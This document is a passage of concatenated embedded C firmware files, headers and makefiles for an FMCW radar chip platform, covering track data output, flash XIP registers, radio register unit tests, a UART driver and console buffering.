#if (TRK_CONF_3D == 0)
trk_hex.data[(index + 4)] = 0x4000;
#else
trk_hex.data[(index + 4)] = transform_data(track->cdi_pkg.cdi[i].raw_z.ang_elv) & LOW15BITMASk;
#endif
trk_hex.data[(index + 5)] = 0x0;
}
/* 0xFFDDFEC4 is EOB(End of BK) */
transfer_data(track, BK, index, 0xFFDDFEC4);
}
if (query_buf()) {
/* AK Data */
/* Initialize trk_hex.data from 0 to MAX_ARRAY_NUM */
init_data_zero(trk_hex.data, 0, MAX_ARRAY_NUM);
/* 0xFFCCFDBA is SOA (Start of AK) */
trk_hex.data[0] = 0xFFCCFDBA;
for (i = 0; i < TRACK_NUM_TRK; i++) {
if (track->trk_update_obj_info)
track->trk_update_obj_info(track->trk_data, sys_params, i);
if (track->output_obj.output) {
index = 5 * j++;
trk_hex.data[(index + 1)] = (i & LOW10BITMASk) | ((transform_data(track->output_obj.SNR) & LOW15BITMASk) << 10);
trk_hex.data[(index + 2)] = (uint32_t)((track->output_obj.rng * 100) + ROUNDF);
trk_hex.data[(index + 3)] = ((transform_data(track->output_obj.vel) & LOW15BITMASk)
| ((transform_data(track->output_obj.ang) & LOW15BITMASk) << 15)
| ((track->output_obj.track_level & LOW2BITMASk) << 30));
#if (TRK_CONF_3D == 0)
//trk_hex.data[(index + 4)] = 0x4000;
#if (TRK_MODE_FUNC == 1)
trk_hex.data[(index + 4)] = 0x4000 | (rtDW.TrackLib[i].classifyID << 15);
//trk_hex.data[(index + 4)] = 0x4000 | (0xFF << 15);
#else
trk_hex.data[(index + 4)] = 0x4000;
#endif
#else
#if (TRK_MODE_FUNC == 1)
trk_hex.data[(index + 4)] = (transform_data(track->output_obj.ang_elv) & LOW15BITMASk) | (rtDW.TrackLib[i].classifyID << 15);
#else
trk_hex.data[(index + 4)] = (transform_data(track->output_obj.ang_elv) & LOW15BITMASk);
#endif
#endif
trk_hex.data[(index + 5)] = 0x0;
}
}
/* 0xFFCCFDB5 is EOA(End of AK) */
transfer_data(track, AK, index, 0xFFCCFDB5);
}
return;
}
#if 0
/* TODO, following 3 functions(switch timer period) can be removed, just reserved here for future possible needs */
/* They are used for bug fixing in ALPS_B, but they're unuseful for now in ALPS_MP */
static uint8_t old_track_fps;
void track_timer_period_save()
{
old_track_fps = 1000/ (xTimerGetPeriod(xTimerTrack));
}
void track_timer_period_change(uint8_t new_period)
{
if( xTimerIsTimerActive(xTimerTrack) != pdFALSE ) /* check whether timer is active or not */
xTimerStop(xTimerTrack, 0); /* xTimer is active, stop it. */
xTimerChangePeriod( xTimerTrack, 1000/new_period, 0); /* 0 --> change immediately*/
}
void track_timer_period_restore()
{
track_timer_period_change(old_track_fps);
}
#endif
<file_sep>#ifndef _XIP_REG_H_
#define _XIP_REG_H_
#define REG_FLASH_XIP_XER_OFFSET (0x0100)
#define REG_FLASH_XIP_XRDSRCR_OFFSET (0x0104)
#define REG_FLASH_XIP_XRDCR_OFFSET (0x0108)
#define REG_FLASH_XIP_XWENACR_OFFSET (0x010C)
#define REG_FLASH_XIP_XWECR_OFFSET (0x0110)
#define REG_FLASH_XIP_XSSCR_OFFSET (0x0114)
#define REG_FLASH_XIP_XRDFSRCR_OFFSET (0x0118)
#define REG_FLASH_XIP_XISOR_OFFSET (0x011C)
#define REG_FLASH_XIP_XDSOR_OFFSET (0x0120)
#define REG_FLASH_XIP_AMR_OFFSET (0x0124)
#define REG_FLASH_XIP_ACDMR_OFFSET (0x0128)
#define REG_FLASH_XIP_ARSR_OFFSET (0x012C)
#define REG_FLASH_XIP_ATWR_OFFSET(x) (0x0130 + ((x) << 2))
#define REG_FLASH_XIP_AVBR_OFFSET (0x0140)
#define REG_FLASH_XIP_ALBSR_OFFSET (0x0144)
#define REG_FLASH_XIP_AIDR_OFFSET(x) (0x0148 + ((x) << 2))
#define REG_FLASH_XIP_AWER_OFFSET (0x0188)
#define REG_FLASH_XIP_ANSR_OFFSET (0x018C)
#define REG_FLASH_XIP_AIDVR_OFFSET (0x0190)
#define REG_FLASH_XIP_ADSR_OFFSET (0x0194)
#define REG_FLASH_XIP_AODR_OFFSET(x) (0x0198 + ((x) << 2))
#define REG_FLASH_XIP_XABECR_OFFSET (0x01D8)
#define REG_FLASH_XIP_XADBECR_OFFSET (0x01DC)
#define REG_FLASH_XIP_XIBCR_OFFSET (0x01E0)
#define REG_FLASH_XIP_XRBCR_OFFSET (0x01E4)
#define REG_FLASH_XIP_XWBCR_OFFSET (0x01E8)
#define REG_FLASH_XIP_XWIPCR_OFFSET (0x01EC)
#define REG_FLASH_XIP_XXBCR_OFFSET (0x01F0)
#define REG_FLASH_XIP_XXLCR_OFFSET (0x01F4)
#define REG_FLASH_XIP_XEFBR_OFFSET (0x01F8)
#define REG_FLASH_XIP_XPFBR_OFFSET (0x01FC)
#define BITS_FLASH_XIP_CMD_INS_LEN_MASK (0x3)
#define BITS_FLASH_XIP_CMD_INS_LEN_SHIFT (25)
#define BITS_FLASH_XIP_CMD_ADDR_LEN_MASK (0xF)
#define BITS_FLASH_XIP_CMD_ADDR_LEN_SHIFT (21)
#define BITS_FLASH_XIP_CMD_DFS_MASK (0x1F)
#define BITS_FLASH_XIP_CMD_DFS_SHIFT (16)
#endif
<file_sep>#include "CuTest.h"
#include "baseband.h"
#include "sensor_config.h"
#include "fmcw_radio.h"
#include "stdio.h"
static sensor_config_t cfg;
static baseband_t bb;
static void init_fmcw_radio()
{
bb.cfg = &cfg;
cfg.bb = &bb;
}
static void init_config_case0()
{
cfg.adc_freq = 20;
cfg.fmcw_startfreq = 76;
cfg.fmcw_bandwidth = 1000;
cfg.fmcw_chirp_rampup = 5.12;
cfg.fmcw_chirp_down = 1.024;
cfg.fmcw_chirp_period = 5.12 + 1.024 + 2.56;
}
static void init_config_case1()
{
cfg.adc_freq = 20;
cfg.fmcw_startfreq = 76.5;
cfg.fmcw_bandwidth = 1000;
cfg.fmcw_chirp_rampup = 5.12;
cfg.fmcw_chirp_down = 1.024;
cfg.fmcw_chirp_period = 5.12 + 1.024 + 2.56;
}
static void init_config_case2()
{
cfg.adc_freq = 20;
cfg.fmcw_startfreq = 76.1;
cfg.fmcw_bandwidth = 50;
cfg.fmcw_chirp_rampup = 11;
cfg.fmcw_chirp_down = 28.2;
cfg.fmcw_chirp_period = 11 + 28.2 + .8;
}
void test_fmcw_radio_compute_reg_value(CuTest *tc)
{
init_fmcw_radio();
init_config_case0();
fmcw_radio_compute_reg_value(&bb.radio);
CuAssertIntEquals(tc, 0x7c00000, bb.radio.start_freq);
CuAssertIntEquals(tc, 0x8100000, bb.radio.stop_freq);
CuAssertIntEquals(tc, 0x7e80000, bb.radio.mid_freq);
CuAssertIntEquals(tc, 0xa00, bb.radio.step_up);
CuAssertIntEquals(tc, 0x3233, bb.radio.step_down);
CuAssertIntEquals(tc, 10, bb.radio.cnt_wait);
CuAssertIntEquals(tc, 2048, bb.radio.up_cycle);
CuAssertIntEquals(tc, 1024, bb.radio.wait_cycle);
CuAssertIntEquals(tc, 3480, bb.radio.total_cycle);
init_config_case1();
fmcw_radio_compute_reg_value(&bb.radio);
CuAssertIntEquals(tc, 0x7e80000, bb.radio.start_freq);
CuAssertIntEquals(tc, 0x8380000, bb.radio.stop_freq);
CuAssertIntEquals(tc, 0x8100000, bb.radio.mid_freq);
CuAssertIntEquals(tc, 0xa00, bb.radio.step_up);
CuAssertIntEquals(tc, 0x3233, bb.radio.step_down);
CuAssertIntEquals(tc, 10, bb.radio.cnt_wait);
CuAssertIntEquals(tc, 2048, bb.radio.up_cycle);
CuAssertIntEquals(tc, 1024, bb.radio.wait_cycle);
CuAssertIntEquals(tc, 3480, bb.radio.total_cycle);
init_config_case2();
fmcw_radio_compute_reg_value(&bb.radio);
CuAssertIntEquals(tc, 0x7c7fff8, bb.radio.start_freq);
CuAssertIntEquals(tc, 0x7cc8fc1, bb.radio.stop_freq);
CuAssertIntEquals(tc, 0x7ca47dc, bb.radio.mid_freq);
CuAssertIntEquals(tc, 0x3B, bb.radio.step_up);
CuAssertIntEquals(tc, 0x1C, bb.radio.step_down);
CuAssertIntEquals(tc, 8, bb.radio.cnt_wait);
CuAssertIntEquals(tc, 5067, bb.radio.up_cycle);
CuAssertIntEquals(tc, 256, bb.radio.wait_cycle);
CuAssertIntEquals(tc, 16000, bb.radio.total_cycle);
}
CuSuite* fmcw_radio_get_suite()
{
CuSuite* suite = CuSuiteNew();
SUITE_ADD_TEST(suite, test_fmcw_radio_compute_reg_value);
return suite;
}
<file_sep>
PMIC_ROOT = $(EMBARC_ROOT)/device/peripheral/pmic
SUPPORTED_PMIC_TYPE = $(basename $(notdir $(wildcard $(PMIC_ROOT)/*/*.c)))
VALID_PMIC_TYPE = $(call check_item_exist, $(PMIC_TYPE), $(SUPPORTED_PMIC_TYPE))
ifeq ($(VALID_PMIC_TYPE), )
$(info PMIC - $(SUPPORTED_PMIC_TYPE) are supported)
$(error PMIC $(PMIC_TYPE) is not supported, please check it!)
endif
DEV_CSRCDIR += $(PMIC_ROOT) $(PMIC_ROOT)/$(VALID_PMIC_TYPE)
DEV_INCDIR += $(EMBARC_ROOT)/device/peripheral/pmic
DEV_INCDIR += $(PMIC_ROOT)/$(VALID_PMIC_TYPE)
<file_sep>#include "embARC.h"
#include "embARC_toolchain.h"
#include "embARC_error.h"
#include "arc_exception.h"
#include "dw_uart_reg.h"
#include "dw_uart.h"
static inline void dw_uart_divisor_latch_access(dw_uart_t *dw_uart, uint32_t enable)
{
uint32_t reg_addr = dw_uart->base + REG_DW_UART_LCR_OFFSET;
uint32_t val = raw_readl(reg_addr);
if (enable) {
val |= BIT_REG_DW_UART_LCR_DLAB;
} else {
val &= ~BIT_REG_DW_UART_LCR_DLAB;
}
raw_writel(reg_addr, val);
}
static int32_t dw_uart_baud_rate(dw_uart_t *dw_uart, uint32_t baud)
{
int32_t result = E_OK;
if ((NULL == dw_uart) || (0 == baud)) {
result = E_PAR;
} else {
uint32_t reg_addr = 0;
uint32_t baud_divisor = dw_uart->ref_clock / (16 * baud);
uint32_t baud_fraction = (dw_uart->ref_clock / baud) % 16;
dw_uart_divisor_latch_access(dw_uart, 1);
reg_addr = REG_DW_UART_RBR_DLL_THR_OFFSET + dw_uart->base;
raw_writel(reg_addr, baud_divisor & 0xFF);
reg_addr = REG_DW_UART_DLH_IER_OFFSET + dw_uart->base;
raw_writel(reg_addr, (baud_divisor >> 8) & 0xFF);
reg_addr = REG_DW_UART_DLF_OFFSET + dw_uart->base;
raw_writel(reg_addr, baud_fraction & 0xFF);
dw_uart_divisor_latch_access(dw_uart, 0);
}
return result;
}
static int32_t dw_uart_interrupt_enable(dw_uart_t *dw_uart, int enable, int mask)
{
int32_t result = E_OK;
if ((NULL == dw_uart)) {
result = E_PAR;
} else {
uint32_t reg_addr = REG_DW_UART_DLH_IER_OFFSET + dw_uart->base;
uint32_t val = raw_readl(reg_addr);
if (enable) {
val |= mask;
} else {
val &= ~mask;
}
raw_writel(reg_addr, val);
}
return result;
}
static int32_t dw_uart_fifo_config(dw_uart_t *dw_uart, uint32_t enable,
uint32_t rx_threshold, uint32_t tx_threshold)
{
int32_t result = E_OK;
if ((NULL == dw_uart)) {
result = E_PAR;
} else {
uint32_t reg_addr = REG_DW_UART_FCR_IIR_OFFSET + dw_uart->base;
uint32_t val = 0;
if (enable) {
val |= BIT_REG_DW_UART_FCR_FIFOE;
} else {
val &= ~BIT_REG_DW_UART_FCR_FIFOE;
}
val |= (rx_threshold & BITS_REG_DW_UART_FCR_RT_MASK) << \
BITS_REG_DW_UART_FCR_RT_SHIFT;
val |= (tx_threshold & BITS_REG_DW_UART_FCR_TET_MASK) << \
BITS_REG_DW_UART_FCR_TET_SHIFT;
val |= BIT_REG_DW_UART_FCR_XFIFOR | BIT_REG_DW_UART_FCR_RFIFOR;
raw_writel(reg_addr, val);
}
return result;
}
static int32_t dw_uart_interrupt_id(dw_uart_t *dw_uart)
{
int32_t result = E_OK;
if ((NULL == dw_uart)) {
result = E_PAR;
} else {
uint32_t reg_addr = REG_DW_UART_FCR_IIR_OFFSET + dw_uart->base;
result = raw_readl(reg_addr) & BITS_REG_DW_UART_IIR_IID_MASK;
}
return result;
}
static int32_t dw_uart_frame_format(dw_uart_t *dw_uart, dw_uart_format_t *format)
{
int32_t result = E_OK;
if ((NULL == dw_uart) || (NULL == format)) {
result = E_PAR;
} else {
uint32_t reg_addr = REG_DW_UART_LCR_OFFSET + dw_uart->base;
uint32_t val = raw_readl(reg_addr);
val &= ~(BIT_REG_DW_UART_LCR_EPS | BIT_REG_DW_UART_LCR_PEN);
switch (format->parity) {
case UART_NO_PARITY:
break;
case UART_EVEN_PARITY:
val |= BIT_REG_DW_UART_LCR_EPS;
case UART_ODD_PARITY:
val |= BIT_REG_DW_UART_LCR_PEN;
break;
default:
result = E_PAR;
}
if (E_OK == result) {
if ((format->data_bits < UART_CHAR_MIN_BITS) || \
(format->data_bits > UART_CHAR_MAX_BITS)) {
result = E_PAR;
} else {
val |= (format->data_bits - UART_CHAR_MIN_BITS) & \
BIT_REG_DW_UART_LCR_DLS_MASK;
if (format->stop_bits == UART_STOP_1BIT) {
val &= ~BIT_REG_DW_UART_LCR_STOP;
} else {
val |= BIT_REG_DW_UART_LCR_STOP;
}
raw_writel(reg_addr, val);
}
}
}
return result;
}
static int32_t dw_uart_line_status(dw_uart_t *dw_uart)
{
int32_t result = E_OK;
if ((NULL == dw_uart)) {
result = E_PAR;
} else {
/* return the rx line status and clear the error interrupts automatically by hardware */
uint32_t reg_addr = REG_DW_UART_LSR_OFFSET + dw_uart->base;
result = raw_readl(reg_addr);
}
return result;
}
static int32_t dw_uart_status(dw_uart_t *dw_uart, uint32_t status)
{
int32_t result = E_OK;
if ((NULL == dw_uart)) {
result = E_PAR;
} else {
uint32_t reg_addr = REG_DW_UART_USR_OFFSET + dw_uart->base;
uint32_t val = raw_readl(reg_addr);
switch (status) {
case UART_RX_FIFO_FULL:
result = (val & BIT_REG_DW_UART_USR_RFF) ? (1) : (0);
break;
case UART_RX_FIFO_NOT_EMPTY:
result = (val & BIT_REG_DW_UART_USR_RFNE) ? (1) : (0);
break;
case UART_TX_FIFO_EMPTY:
result = (val & BIT_REG_DW_UART_USR_TFE) ? (1) : (0);
break;
case UART_TX_FIFO_NOT_FULL:
result = (val & BIT_REG_DW_UART_USR_TFNF) ? (1) : (0);
break;
case UART_BUSY:
result = (val & BIT_REG_DW_UART_USR_BUSY) ? (1) : (0);
break;
case UART_ALL_STS:
result = val;
break;
default:
result = E_PAR;
}
}
return result;
}
static int32_t dw_uart_version(dw_uart_t *dw_uart)
{
int32_t result = E_OK;
if ((NULL == dw_uart)) {
result = E_PAR;
} else {
uint32_t reg_addr = REG_DW_UART_UCV_OFFSET + dw_uart->base;
result = raw_readl(reg_addr);
}
return result;
}
static int32_t dw_uart_read(dw_uart_t *dw_uart, uint8_t *buf, uint32_t len)
{
int32_t result = E_OK;
uint32_t cnt = 0;
if ((NULL == dw_uart) || (NULL == buf) || (0 == len)) {
result = E_PAR;
} else {
uint32_t fifo_entry;
uint32_t reg_addr = REG_DW_UART_CPR_OFFSET + dw_uart->base;
uint32_t val = raw_readl(reg_addr);
uint32_t bit_pos = 0;
if (val & BIR_REG_DW_UART_CPR_FIFO_STAT) {
reg_addr = REG_DW_UART_USR_OFFSET + dw_uart->base;
bit_pos = BIT_REG_DW_UART_USR_RFNE;
} else {
reg_addr = REG_DW_UART_LSR_OFFSET + dw_uart->base;
bit_pos = BIT_REG_DW_UART_LSR_DR;
}
fifo_entry = REG_DW_UART_RBR_DLL_THR_OFFSET + dw_uart->base;
for (cnt = 0; cnt < len; cnt++) {
if (raw_readl(reg_addr) & bit_pos) {
*buf++ = (uint8_t)raw_readl(fifo_entry);
} else {
/* remain size. */
result = len - cnt;
break;
}
}
}
return result;
}
static int32_t dw_uart_write(dw_uart_t *dw_uart, uint8_t *buf, uint32_t len)
{
int32_t result = E_OK;
if ((NULL == dw_uart) || (NULL == buf) || (0 == len)) {
result = E_PAR;
} else {
uint32_t fifo_entry;
uint32_t reg_addr = REG_DW_UART_CPR_OFFSET + dw_uart->base;
uint32_t val = raw_readl(reg_addr);
uint32_t bit_pos = 0;
if (val & BIR_REG_DW_UART_CPR_FIFO_STAT) {
reg_addr = REG_DW_UART_USR_OFFSET + dw_uart->base;
bit_pos = BIT_REG_DW_UART_USR_TFNF;
} else {
reg_addr = REG_DW_UART_LSR_OFFSET + dw_uart->base;
bit_pos = BIT_REG_DW_UART_LSR_TEMT;
}
fifo_entry = REG_DW_UART_RBR_DLL_THR_OFFSET + dw_uart->base;
while (len) {
if (raw_readl(reg_addr) & bit_pos) {
raw_writel(fifo_entry, (uint32_t)*buf++);
len -= 1;
} else {
/* remain size. */
result = len;
break;
}
}
}
return result;
}
int32_t dw_uart_fifo_flush(dw_uart_t *dw_uart, uint32_t channel)
{
int32_t result = E_OK;
uint32_t reg_addr = 0, fifo_entry_addr = 0;
uint8_t fifo_data_num = 0, i = 0;
if (NULL == dw_uart)
result = E_PAR;
if (channel == UART_TX)
reg_addr = dw_uart->base + REG_DW_UART_TFL_OFFSET;
else if (channel == UART_RX)
reg_addr = dw_uart->base + REG_DW_UART_RFL_OFFSET;
else
result = E_PAR;
/* Get the number of data in the FIFO */
fifo_data_num = raw_readl(reg_addr);
fifo_entry_addr = dw_uart->base + REG_DW_UART_RBR_DLL_THR_OFFSET;
/* clear fifo data */
for(i = 0; i < fifo_data_num; i++) {
raw_readl(fifo_entry_addr);
}
return result;
}
static dw_uart_ops_t dw_uart_ops = {
.version = dw_uart_version,
.read = dw_uart_read,
.write = dw_uart_write,
.format = dw_uart_frame_format,
.fifo_config = dw_uart_fifo_config,
.baud = dw_uart_baud_rate,
.int_enable = dw_uart_interrupt_enable,
.int_id = dw_uart_interrupt_id,
.line_status = dw_uart_line_status,
.status = dw_uart_status,
.fifo_flush = dw_uart_fifo_flush
};
int32_t dw_uart_install_ops(dw_uart_t *dw_uart)
{
int32_t result = E_OK;
if ((NULL == dw_uart)) {
result = E_PAR;
} else {
dw_uart->ops = (void *)&dw_uart_ops;
}
return result;
}
<file_sep>#ifndef _DATA_STREAM_H_
#define _DATA_STREAM_H_
#ifdef OS_FREERTOS
#include "FreeRTOS.h"
#include "queue.h"
#endif
enum io_stream_data_source {
DATA_FROM_HOST = 0,
DATA_FROM_MASTER,
DATA_FROM_SLAVER,
DATA_FROM_EXTRA_SENSOR
};
enum io_stream_data_target {
LOG_TO_HOST = 0,
DATA_TO_HOST,
DATA_TO_MASTER,
DATA_TO_SLAVER,
DATA_TO_EXTRA_SENSOR
};
enum data_stream_type {
COMMAND_STREAM = 0,
DATA_STREAM,
UNKOWN_STREAM
};
enum chip_cascade_mode {
NO_CASCADE = 0,
CASCADE_MASTER,
CASCADE_SLAVER_ONLY,
CASCADE_SLAVER_MASTER
};
enum frame_id_mode {
FRAME_ID_FIX = 0,
FREAM_ID_INC
};
enum frame_type {
CAN_STD_RTR_FRAME = 0,
CAN_STD_FRAME,
CAN_XTD_RTR_FRAME,
CAN_XTD_FRAME,
CAN_FD_RTR_FRAME,
CAN_FD_FRAME,
CAN_FD_BRS_FRAME
};
struct io_transmit_flag {
uint8_t data_or_frame;
uint8_t malloc;
};
int32_t io_stream_init(void);
int32_t io_stream_receive_data(enum io_stream_data_source source, void *data_buf, uint32_t count);
/**
* io_stream_send_data: send raw or naked data.
* @return: < 0, error code.
* @target: <IN>, indicate where the data will be sent to.
* @data_buf: <IN>, container stores the data.
* @count: <IN>, the amount of the data.
* @flag: reserved.
**/
int32_t io_stream_send_data(enum io_stream_data_target target, void *data_buf, uint32_t count);
int32_t io_stream_malloc_send_data(enum io_stream_data_target target, void *data_buf, uint32_t count);
#if 0
/**
* io_stream_send_frame: send special frame made by user.
* @return: < 0, error code.
* @target: <IN>, indicate where the data will be sent to.
* @data_buf: <IN>, container stores the data.
* @count: <IN>, the amount of the data.
* @flag: reserved.
**/
int32_t io_stream_send_frame(enum io_stream_data_target target, void *data_buf, uint32_t count);
int32_t io_stream_malloc_send_frame(enum io_stream_data_target target, void *data_buf, uint32_t count);
#endif
#ifdef OS_FREERTOS
QueueHandle_t io_stream_get_cascade_queuehandle(enum io_stream_data_source source);
QueueHandle_t io_stream_get_cli_queuehandle(void);
#endif
#endif
<file_sep>CALTERAH_MATH_ROOT = $(CALTERAH_COMMON_ROOT)/math
CALTERAH_MATH_CSRCDIR = $(CALTERAH_MATH_ROOT)
CALTERAH_MATH_ASMSRCDIR = $(CALTERAH_MATH_ROOT)
# find all the source files in the target directories
CALTERAH_MATH_CSRCS = $(call get_csrcs, $(CALTERAH_MATH_CSRCDIR))
CALTERAH_MATH_ASMSRCS = $(call get_asmsrcs, $(CALTERAH_MATH_ASMSRCDIR))
# get object files
CALTERAH_MATH_COBJS = $(call get_relobjs, $(CALTERAH_MATH_CSRCS))
CALTERAH_MATH_ASMOBJS = $(call get_relobjs, $(CALTERAH_MATH_ASMSRCS))
CALTERAH_MATH_OBJS = $(CALTERAH_MATH_COBJS) $(CALTERAH_MATH_ASMOBJS)
# get dependency files
CALTERAH_MATH_DEPS = $(call get_deps, $(CALTERAH_MATH_OBJS))
# genearte library
CALTERAH_MATH_LIB = $(OUT_DIR)/lib_calterah_math.a
COMMON_COMPILE_PREREQUISITES += $(CALTERAH_MATH_ROOT)/math.mk
# library generation rule
$(CALTERAH_MATH_LIB): $(CALTERAH_MATH_OBJS)
$(TRACE_ARCHIVE)
$(Q)$(AR) $(AR_OPT) $@ $(CALTERAH_MATH_OBJS)
# specific compile rules
# user can add rules to compile this library
# if not rules specified to this library, it will use default compiling rules
.SECONDEXPANSION:
$(CALTERAH_MATH_COBJS): $(OUT_DIR)/%.o : %.c $$(COMMON_COMPILE_PREREQUISITES)
$(TRACE_COMPILE)
$(Q)$(CC) -c $(COMPILE_OPT) $< -o $@
.SECONDEXPANSION:
$(CALTERAH_MATH_ASMOBJS): $(OUT_DIR)/%.o : %.s $$(COMMON_COMPILE_PREREQUISITES)
$(TRACE_COMPILE)
$(Q)$(CC) -c $(ASM_OPT) $< -o $@
CALTERAH_COMMON_CSRC += $(CALTERAH_MATH_CSRCS)
CALTERAH_COMMON_ASMSRCS += $(CALTERAH_MATH_ASMSRCS)
CALTERAH_COMMON_COBJS += $(CALTERAH_MATH_COBJS)
CALTERAH_COMMON_ASMOBJS += $(CALTERAH_MATH_ASMOBJS)
CALTERAH_COMMON_LIBS += $(CALTERAH_MATH_LIB)
<file_sep>#include <string.h>
#include <stdarg.h>
#include "embARC_toolchain.h"
#include "FreeRTOS.h"
#include "task.h"
#include "embARC.h"
#include "embARC_debug.h"
#include "uart_hal.h"
#include "cs_internal.h"
#include "sw_trace.h"
/* whether use console printf. */
static uint32_t dbg_printf_flag = 0;
/* console receiver's buffer. */
static uint8_t cs_rx_buffer[CS_RX_BUF_LEN_MAX];
/* task context tx buffer. */
static uint8_t cs_task_txbuf[CS_TASK_BUF_CNT_MAX * CS_TASK_BUF_LEN_MAX];
/* interrupt context tx buffer. */
static uint8_t cs_int_txbuf[CS_INT_BUF_CNT_MAX * CS_INT_BUF_LEN_MAX];
/* tx buffer hooker. */
static cs_txbuf_hooker_t txbuf_hooker[CS_INT_BUF_ID_END];
static cs_receiver_t rt_cs_receiver;
static cs_transmitter_t rt_cs_transmitter;
static int32_t pre_printf(void);
static void post_printf(int32_t buf_id, uint32_t used_len);
static void cs_txbuf_install(void);
static void cs_isr_callback(void *params);
/* console transmitter initialize. */
static void cs_transmitter_init(void)
{
uint32_t limit, idx, s_idx = CS_USER_BUF_CNT_MAX;
/* hooker[0-15] is for application().
* firstly, register application data buffer on hooker.
* then, console core will install it onto lower layer(driver).
* lastly, hardware send these data outside in interrupt context.
* */
for (idx = 0; idx < CS_USER_BUF_CNT_MAX; idx++) {
txbuf_hooker[idx].state = 0;
txbuf_hooker[idx].used_size = 0;
txbuf_hooker[idx].buf = NULL;
txbuf_hooker[idx].len = 0;
}
/* hooker[16-31] is for task LOG output(EMBARC_PRINTF).
* firstly, call pre_printf to alloc local buffer.
* secondly, xprintf parse the format onto loal buffer.
* then, call post_printf inform console core(data ready), or
* install it onto lower layer(driver) directly.
* lastly, hardware send these data outside in interrupt context.
* */
s_idx = CS_USER_BUF_CNT_MAX;
limit = CS_USER_BUF_CNT_MAX + CS_TASK_BUF_CNT_MAX;
for (idx = s_idx; idx < limit; idx++) {
txbuf_hooker[idx].state = DATA_BUF_IDLE;
txbuf_hooker[idx].used_size = 0;
txbuf_hooker[idx].buf = cs_task_txbuf + ((idx - s_idx) * CS_TASK_BUF_LEN_MAX);
txbuf_hooker[idx].len = CS_TASK_BUF_LEN_MAX;
}
/* hooker[32-39] is for interrupt LOG output(EMBARC_PRINTF).
* firstly, call pre_printf to alloc local buffer.
* secondly, xprintf parse the format onto loal buffer.
* then, call post_printf inform console core(data ready), or
* install it onto lower layer(driver) directly.
* lastly, hardware send these data outside in interrupt context.
* */
s_idx = CS_USER_BUF_CNT_MAX + CS_TASK_BUF_CNT_MAX;
limit = CS_USER_BUF_CNT_MAX + CS_TASK_BUF_CNT_MAX + CS_INT_BUF_CNT_MAX;
for (; idx < limit; idx++) {
txbuf_hooker[idx].state = 0;
txbuf_hooker[idx].used_size = 0;
txbuf_hooker[idx].buf = cs_int_txbuf + ((idx - s_idx) * CS_TASK_BUF_LEN_MAX);
txbuf_hooker[idx].len = CS_INT_BUF_LEN_MAX;
}
rt_cs_transmitter.state = 0;
rt_cs_transmitter.cur_buf_id = 0;
rt_cs_transmitter.order_ovflw = 0;
rt_cs_transmitter.cur_userbuf_id = 0;
rt_cs_transmitter.userbuf_pop_id = 0;
rt_cs_transmitter.push_order_cnt = 0;
rt_cs_transmitter.pop_order_cnt = 0;
DEV_BUFFER_INIT(&rt_cs_transmitter.buf, NULL, 0);
}
/* console receiver descriptor. */
static void cs_receiver_init(void)
{
//rt_cs_receiver.hw_type = CFG_CS_RX_MODULE_ID;
rt_cs_receiver.port_id = CFG_CS_RX_MODULE_PORT_ID;
rt_cs_receiver.buf_status = 0;
rt_cs_receiver.buf_rd_pos = (uint32_t)cs_rx_buffer;
rt_cs_receiver.buf_rp_pos = (uint32_t)cs_rx_buffer;
DEV_BUFFER_INIT(&rt_cs_receiver.buf, cs_rx_buffer, CS_RX_BUF_LEN_MAX);
}
/* note: just call on interrupt context.
* inform system that a new message is coming.
* */
static void cs_rxdata_indication(void)
{
DEV_BUFFER *dev_rx_buf = &rt_cs_receiver.buf;
uint32_t cur_wr_pos = ((uint32_t)dev_rx_buf->buf) + dev_rx_buf->ofs;
if (cur_wr_pos > rt_cs_receiver.buf_rp_pos) {
BaseType_t higher_task_wkup = 0;
DEV_BUFFER msg = {
.buf = (void *)rt_cs_receiver.buf_rp_pos,
.len = cur_wr_pos - rt_cs_receiver.buf_rp_pos
};
if (pdTRUE == xQueueSendFromISR(rt_cs_receiver.msg_queue, \
&msg, &higher_task_wkup)) {
if (higher_task_wkup) {
portYIELD_FROM_ISR();
}
/* update the reported position. */
rt_cs_receiver.buf_rp_pos = cur_wr_pos;
} else {
/* TODO: record error! */
;
}
}
}
/* when the current buffer is full, reinstall a new one.
* there are three situations as bellow,
1.:
*********************************************
* * current buffer * next * *
*-------------------------------------------*
* RD *
* *******************************************
2.:
*********************************************
* * * current buffer * next *
*-------------------------------------------*
* RD *
*********************************************
3.:
*********************************************
* next * * current buffer *
*-------------------------------------------*
* RD *
*********************************************
* */
static void cs_rxbuf_reinstall(void)
{
DEV_BUFFER *dev_rx_buf = &rt_cs_receiver.buf;
uint32_t rd_pos = rt_cs_receiver.buf_rd_pos;
//uint32_t pre_range_s = cs_rx_buffer;
uint32_t pre_range_e = (uint32_t)dev_rx_buf->buf;
uint32_t post_range_s = pre_range_e + dev_rx_buf->len;
uint32_t post_range_e = (uint32_t)cs_rx_buffer + CS_RX_BUF_LEN_MAX;
if (post_range_e - post_range_s) {
if (rd_pos > post_range_s) {
dev_rx_buf->buf = (void *)post_range_s;
dev_rx_buf->len = rd_pos - post_range_s;
dev_rx_buf->ofs = 0;
} else {
uint32_t buf_end = (uint32_t)cs_rx_buffer + CS_RX_BUF_LEN_MAX;
dev_rx_buf->buf = (void *)post_range_s;
dev_rx_buf->len = buf_end - post_range_s;
dev_rx_buf->ofs = 0;
}
} else {
dev_rx_buf->buf = cs_rx_buffer;
dev_rx_buf->len = rd_pos - (uint32_t)cs_rx_buffer;
dev_rx_buf->ofs = 0;
}
/* init the reported position. */
rt_cs_receiver.buf_rp_pos = (uint32_t)dev_rx_buf->buf;
}
/* console hardware interrupt callback. */
static void cs_isr_callback(void *params)
{
DEV_BUFFER *dev_rx_buf = &rt_cs_receiver.buf;
DEV_BUFFER *dev_tx_buf = &rt_cs_transmitter.buf;
/* firstly check whether receiver buffer is full. */
if (NULL != dev_rx_buf->buf) {
/* add new queue item. */
cs_rxdata_indication();
/* overflow! reinstall rx buffer. */
if (dev_rx_buf->ofs >= dev_rx_buf->len) {
cs_rxbuf_reinstall();
}
} else {
/* record error info. */
;
}
if (rt_cs_transmitter.state) {
if (NULL != dev_tx_buf->buf) {
/* check whether transmitter finished transmitting. */
if (dev_tx_buf->ofs >= dev_tx_buf->len) {
/* done: release current buffer. */
uint32_t buf_id = rt_cs_transmitter.cur_buf_id;
if (buf_id < CS_INT_BUF_ID_END) {
txbuf_hooker[buf_id].state = DATA_BUF_IDLE;
if (buf_id < CS_USER_BUF_ID_END) {
if (txbuf_hooker[buf_id].tx_end_callback) {
txbuf_hooker[buf_id].tx_end_callback();
}
}
}
/* re_install new buffer. */
cs_txbuf_install();
}
} else {
/* enable transmit interrupt. */
